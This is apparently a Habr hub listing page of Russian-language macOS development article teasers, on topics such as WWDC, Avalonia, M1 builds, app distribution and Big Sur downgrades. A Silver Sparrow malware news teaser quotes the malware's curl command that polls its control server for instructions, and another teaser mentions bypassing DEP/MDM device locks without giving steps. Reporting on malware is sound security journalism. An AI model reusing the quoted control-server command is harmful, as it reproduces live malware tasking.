Как стать автором
Обновить
-0.7

Разработка под macOS *

Пишем под настольную ОС Apple

Сначала показывать
Порог рейтинга
Уровень сложности

Что ждать разработчику от WWDC 2021

Время на прочтение4 мин
Количество просмотров2.9K

Всем привет, с вами я, Анна Жаркова, ведущий разработчик компании Usetech.

Мы с нетерпением ждали новую сессию WWDC, особенно после прошлогодних изменений, и, наконец, дождались! Кого-то Keynote разочаровал, т.к люди ждали больше и большего в плане анонсов и возможностей. Но мы-то знаем, что у нас впереди целая неделя, и очень много интересных видео-сессий по новинкам в iOS и Swift, за которые можно простить Apple и недостатки Keynote.

Итак, давайте пройдемся по тому, что нас ожидает.

В принципе все сессии можно поделить на несколько групп:

Читать далее
Всего голосов 15: ↑13 и ↓2+11
Комментарии13

Люди подозревают, что технологии — отстой, потому что они на самом деле отстой

Время на прочтение3 мин
Количество просмотров45K
image

Джей Ситтер в своей статье "Люди подозревают, что технологии — отстой" пишет о людях, которые продолжают использовать технологии, несмотря на серьезные неприятности, такие как очень тусклый экран или постоянные всплывающие окна, и ничего не делают с этим. Он делает вывод:
Если бы мой экран был на 5% яркости или если бы я не мог использовать свой телефон, не нажимая «Отмена» каждые пять секунд, я бы тратил часы или дни на Google, пытаясь найти решение, если бы это было то, что мне нужно. То, что эти люди в основном просто мирились с проблемами, означает, что для них эти проблемы не могли быть заметно хуже, чем сама технология в своей основе.
Эти примеры немного экстремальны, но важно помнить, что они реальны. Это не преувеличение. Это происходило.

В обсуждениях в Твиттере люди продолжают отвечать, что этим пользователям следует:

  • сделать что-нибудь с этим,
  • искать замену,
  • или просто не делать ничего.

И я бы согласился: если бы это был единичный случай, конечно, надо было бы что-то с этим сделать! Дело в том, что это происходит постоянно, каждый день, несколько раз в день, и один человек может посвятить этому лишь определенное количество времени. Поток мелких неприятностей настолько велик, что люди просто устали иметь с ними дело! И нет, лучшей альтернативы нет.

Чтобы доказать свою точку зрения, я решил записывать каждое прерванное действие в течение одного дня. Вот полный список, который я написал вчера, 24 сентября 2020 года:
Всего голосов 108: ↑93 и ↓15+78
Комментарии492

Ядро macOS, есть ли червячки в этом яблоке?

Время на прочтение19 мин
Количество просмотров6.5K

0818_XNU_MacOS_Kernel_ru/image1.png


В самом начале этого года Apple выложили в открытый доступ исходный код системных компонентов macOS 11.0 – Big Sur, включая XNU – ядро операционной системы macOS. Пару лет назад исходный код ядра уже проверялся PVS-Studio в связи с выходом анализатора для macOS. Прошло достаточно много времени, и вышел новый релиз исходного кода ядра. Почему бы и не провести повторную проверку.

Читать дальше →
Всего голосов 13: ↑12 и ↓1+11
Комментарии2

На 30 тысячах компьютеров с macOS нашли странный зловред, который ждёт команду

Время на прочтение4 мин
Количество просмотров22K


Новая вредоносная программа Silver Sparrow («Серебряный воробей»), обнаруженная почти на 30 000 компьютерах Mac по всему миру, привлекла внимание специалистов по безопасности. Причин несколько. Во-первых, зловред поставляется в двух бинарниках, в том числе для процессора М1. Во-вторых, исследователи не могут понять цель злоумышленников.

Раз в час заражённые компьютеры проверяют контрольный сервер на предмет новых команд или двоичных файлов для выполнения:

curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json
plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist
Читать дальше →
Всего голосов 28: ↑25 и ↓3+22
Комментарии30

От WPF к Авалонии

Время на прочтение8 мин
Количество просмотров16K

WPF — любимый сообществом фреймворк для десктопной разработки, однако в то время как дотнет и вся его экосистема уже давно кроссплатформенные, WPF работает только под Windows. Сообщество решило эту проблему и теперь у нас есть Авалония — фреймворк, во многом очень похожий на WPF, но работающий на разных платформах. 

Под катом мы разберем отличия Авалонии от WPF. Что нужно знать людям, переходящим с WPF на Авалонию? В чем преимущества нового фреймворка, а в чем его недостатки по сравнению с WPF?

Читать далее
Всего голосов 29: ↑29 и ↓0+29
Комментарии20

Как продавать приложения для Mac за пределами App Store

Время на прочтение10 мин
Количество просмотров4.4K


Mac всегда отличался от своего близкого родственника iOS, особенно в отношении того, что пользователю можно и нельзя запускать в своей системе. Даже после появления Apple Silicon компания Apple чётко дала понять, что Mac остаётся Mac, и его по-прежнему можно хакать, даже при запуске на новой архитектуре.

Для программистов это значит, что при разработке для платформы Mac у нас есть выбор: мы можем распространять приложения независимо, за пределами Mac App Store, только через Mac App Store или сочетать оба варианта.

Данная статья стала результатом моих размышлений на эту тему. Она задумывалась как руководство по аспектам, которые нужно знать при распространении приложений для Mac за пределами App Store, а не как подробное описание конкретных действий. Надеюсь, что представленная здесь информация поможет новичкам снять завесу тайны с этого процесса, а описание моего собственного процесса будет полезно в качестве опорной точки.

App Store и прямое распространение: плюсы и минусы


Все эти варианты имеют свои достоинства и недостатки. Начнём с того, что некоторые приложения для Mac просто невозможно будет распространять через Mac App Store. Примером этого может послужить моё приложение AirBuddy, которому для обеспечения глубокой интеграции с беспроводными устройствами Apple необходимо запускать системный агент и использовать приватные API, что в App Store запрещено. То же самое относится и ко многим другим видам приложений, которые просто не смогут работать в условиях ограничений «песочницы» Mac.

Для тех же, у кого выбор есть, я составил список плюсов и минусов выпуска в Mac App Store или независимого распространения.
Читать дальше →
Всего голосов 23: ↑23 и ↓0+23
Комментарии0

Безопасный downgrade macOS Big Sur (без 1008F)

Время на прочтение3 мин
Количество просмотров15K

Недавно, я писал о том, как решить проблему с вечной ошибкой 1008F при попытке откатить macOS Big Sur до macOS Catalina через Internet Recovery. Как показал опрос, есть необходимость рассказать о том, как откатить macOS Big Sur без ошибки 1008F. Причин для отката может быть масса, и если вы обладатель одной из них то этот пост для вас. Главное помнить о том, что описанный ниже способ приведет к полному стиранию данных с вашего компьютера Mac. В моем случае для проведения downgrade использовался MacBook pro 2019 с чипом безопасности T2 и внешний USB - HDD.

Читать далее
Всего голосов 16: ↑16 и ↓0+16
Комментарии8

1008F — или как раскирпичить свой Mac

Время на прочтение4 мин
Количество просмотров38K

Всем привет! В этом посте речь пойдет о бесконечном режиме восстановления macOS, ошибках 1008F, 2003F, 2004F и о том как их побороть. 

Подобные ошибки можно встретить при попытке выполнить Internet Recovery своего Mac, а причин побуждающих к этому действию - множество. В моем случае, дело было так..

Читать далее
Всего голосов 43: ↑41 и ↓2+39
Комментарии18

Отключение профиля DEP и MDM на Mac OS Big Sur

Время на прочтение4 мин
Количество просмотров37K

Решение с обходом DEP и MDM блокировки на Mac OS Catalina достаточно простое и без труда находится в интернете. С Big Sur все намного сложнее. В новой операционной системе реализован новый механизм защиты целостности системы. Поэтому весь алгоритм действий усложнился.

Читать далее
Всего голосов 15: ↑13 и ↓2+11
Комментарии11

macOS и мистический minOS

Время на прочтение4 мин
Количество просмотров8.9K

После трёхлетнего перерыва актуальная версия sView стала снова доступна на macOS. Новый релиз обещал поддержку macOS 10.10+, но что-то пошло не так и несколько пользователей обратились со странной проблемой - системы macOS 10.13 и 10.14 отказались запускать приложение с сообщением о необходимости обновиться до macOS 10.15…

Сказать, что ошибка меня озадачила - сильно преуменьшить степень моего негодования, ведь магическая цифра 10.15 нигде не фигурировала ни в скриптах сборки, ни в ресурсах sView! Более того, приложение лично было проверено на более старой версии системы, а именно - на macOS 10.10.

Читать далее
Всего голосов 17: ↑17 и ↓0+17
Комментарии0

Компиляция C/C++ на Apple M1

Время на прочтение4 мин
Количество просмотров49K


Заинтригованный впечатляющими бенчмарками M1, я достал последний Mac Mini, чтобы замерить скорость компиляции на C/C++.

Измеряем локальный build2 (без репозитория пакетов), который включает преимущественно код на C++ (611 единиц трансляции) с некоторыми блоками на C (29) и связками между ними (19). Такой бенчмарк требует только компилятора C++ и входит в тестовый набор Phoronix, поэтому можно сравниться с большим количеством процессоров.

Бенчмарк Phoronix в настоящее время использует build2 0.12.0, у нас 0.13.0 (текущий релиз), здесь сборка выполняется примерно на 10% медленнее.
Читать дальше →
Всего голосов 81: ↑80 и ↓1+79
Комментарии163

Генерация типизированных ссылок на элементы управления Avalonia с атрибутом x:Name в XAML с помощью C# Source Generators

Время на прочтение17 мин
Количество просмотров6.5K



В апреле 2020-го года разработчиками платформы .NET 5 был анонсирован новый способ генерации исходного кода на языке программирования C# — с помощью реализации интерфейса ISourceGenerator. Данный способ позволяет разработчикам анализировать пользовательский код и создавать новые исходные файлы на этапе компиляции. При этом, API новых генераторов исходного кода схож с API анализаторов Roslyn. Генерировать код можно как с помощью Roslyn Compiler API, так и методом конкатенации обычных строк.


В данном материале рассмотрим процесс реализации ISourceGenerator для генерации типизированных ссылок на элементы управления AvaloniaUI, объявленные в XAML. В процессе разработки научим генератор компилировать XAML с помощью API компилятора XamlX, используемого в AvaloniaUI, и системы типов XamlX, реализованной поверх API семантической модели Roslyn.

Читать дальше →
Всего голосов 23: ↑23 и ↓0+23
Комментарии5

Авалония для самых маленьких

Время на прочтение8 мин
Количество просмотров27K
В свежем превью Rider, помимо прочего, появилась поддержка Авалонии. Авалония — это самый крупный .NET фреймворк для разработки кроссплатформенного UI, и его поддержка в IDE — отличный повод наконец разобраться, как писать десктопные приложения для любых платформ.

В этой статье я на примере простой задачи по реализации калькулятора покажу:

  • как управлять разметкой,
  • как связывать функциональность с компонентами,
  • как управлять стилями.


Читать дальше →
Всего голосов 43: ↑43 и ↓0+43
Комментарии34

Ближайшие события

Не могу открыть приложения на macOS. Почему подпись кода OCSP оказалась миной замедленного действия

Время на прочтение6 мин
Количество просмотров7.1K
Две недели назад пользователи macOS начали сообщать о странных зависаниях при открытии приложений, не загруженных из Mac App Store. Многие подозревали аппаратные проблемы со своими устройствами, но из социальных сетей они узнали, что это широко распространённая проблема. И не случайно она возникла вскоре после запуска macOS Big Sur.

В конце концов, твит Джеффа Джонсона точно указал основную причину. Оказалось, что эппловская служба “OCSP Responder” слишком перегружена, поэтому macOS не могла проверить криптографические сертификаты разработчиков приложений.

Всего голосов 13: ↑13 и ↓0+13
Комментарии5

Apple и Microsoft наверняка мечтают брать 30% со всех десктопных программ

Время на прочтение6 мин
Количество просмотров24K

Файрвол не может блокировать трафик из macOS

На прошлой неделе в интернете поднялась шумиха по поводу того, что Apple отслеживает каждый запуск каждого приложения в macOS — и отправляет данные на «материнский корабль» в виде хэша, с IP-адресом («Ваш компьютер на самом деле не ваш»). По ходу выяснилось, что она делает это уже два года. Раньше была возможность заблокировать такое поведение с помощью файрвола типа Little Snitch, однако новая версия macOS 11.0 Big Sur научилась обходить файрволы и VPN. За шпионаж и слив данных отвечает служба Gatekeeper, которую никак нельзя заблокировать.

Причины для внедрения такой функции в операционную систему неизвестны. Похоже, Apple собирается контролировать, что на компьютере запускаются только «правильные» приложения.
Читать дальше →
Всего голосов 89: ↑77 и ↓12+65
Комментарии244

Поддержка процессоров Apple M1 в .NET

Время на прочтение4 мин
Количество просмотров23K

17 ноября Apple официально представила устройства на базе своего нового ARM-процессора Apple M1. Естественно, это событие не могло быть не замечено со стороны компании Microsoft, которая с 2014 года начала активную экспансию .NET на новые платформы. Давайте посмотрим, что нас ждет в связи с этим в ближайшее время!

Быть ли поддержке Apple M1 в .NET?
Всего голосов 16: ↑16 и ↓0+16
Комментарии62

Эволюция Material Design для AvaloniaUI

Время на прочтение3 мин
Количество просмотров8K

image


Material.Avalonia — быстрый способ стилизовать под Material Design приложение, написанное на AvaloniaUI — кросс-платформенном XAML фреймворке для .NET.


Примерно с год назад на Хабре уже была статья о нашей библиотеке, однако с этого момента изменилось многое: мы избавились от встроенных тем, переделали стандартные и добавили свои элементы управления.

Читать дальше →
Всего голосов 19: ↑18 и ↓1+17
Комментарии20

Фреймворки и библиотеки для кроссплатформенной разработки десктопных программ

Время на прочтение7 мин
Количество просмотров42K

В этой статье я расскажу вам о некоторых самых популярных фреймворках, которые помогут вам при разработке программ для компьютеров под управлением Windows/MacOS/Linux. Если вы опытный программист, то вряд ли найдете в этой статье что-то новое для себя. Она скорее для новичков, которые ищут простое решение своей проблемы — быстрое написание хорошей (на сколько это возможно) кроссплатформенной программы.

Читать далее
Всего голосов 19: ↑19 и ↓0+19
Комментарии64

Об ужасной документации Apple

Время на прочтение7 мин
Количество просмотров18K


В последние год-два я пришёл к осознанию того, что основной преградой к выполнению моей работы является документация. Или, если конкретнее, откровенный дефицит документации, предоставляемой Apple для своих платформ.

Apple предоставляет разработчикам набор инструментов — API, позволяющий нам создавать приложения для iOS, iPadOS, macOS и tvOS. Во многих случаях разобраться в том, как пользоваться этими API, достаточно просто. Как отвёртку можно использовать очень немногими способами, так и во многих случаях есть только один очевидный способ применения API.
Читать дальше →
Всего голосов 35: ↑35 и ↓0+35
Комментарии55

Дополнительные компоненты для кроссплатформеннной библиотеки материального дизайна KivyMD

Время на прочтение9 мин
Количество просмотров5.5K

Приветствую, уважаемые любители и знатоки Python!

Если вы используете в своих приложениях Python и такие кроссплатформенные инструменты как фреймворк Kivy и библиотеку материального дизайна KivyMD, тогда вам точно будет интересно эта статья, в которой я расскажу о дополнительных компонентах для расширения набора материальных виджетов библиотеки KivyMD
Всего голосов 17: ↑17 и ↓0+17
Комментарии0

Вклад авторов